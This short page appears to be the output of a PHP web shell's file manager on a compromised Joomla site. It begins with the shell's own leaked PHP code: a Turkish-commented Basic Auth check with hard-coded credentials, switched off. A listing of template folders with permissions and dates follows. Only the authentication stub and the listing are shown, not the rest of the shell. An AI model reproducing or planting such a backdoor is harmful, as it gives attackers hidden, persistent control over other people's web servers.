# Konfigurasyon $sayfaSifreleme ='0'; # 1 acik , 0 kapali $kullaniciAdi = 'l0c4l'; $sifre = 'l0c4l'; # yetki kontrol fonksiyonu function yetkiKontrol($kullaniciAdi,$sifre) { if(empty($_SERVER['PHP_AUTH_USER']) || empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_USER'] != "$kullaniciAdi" || $_SERVER['PHP_AUTH_PW'] != "$sifre") { header('WWW-Authenticate: Basic realm="x"'); die(header('HTTP/1.0 401 Unauthorized')); } } # Sayfa Sifreleme aciksa if($sayfaSifreleme =='1') { # Veri ve sifre kontrolu yetkiKontrol($kullaniciAdi,$sifre); } ?>
Name | Size | Modified | Perms | Actions | |
---|---|---|---|---|---|
cassiopeia | --- | December 05 2024 11:06:00. | 0755 | ||
dd_kids_128 | --- | December 11 2024 19:32:52. | 0755 | ||
shaper_helixultimate | --- | December 05 2024 11:06:00. | 0755 | ||
system | --- | December 05 2024 11:06:01. | 0755 | ||
index.html | 31 bytes | December 05 2024 11:06:00. | 0644 |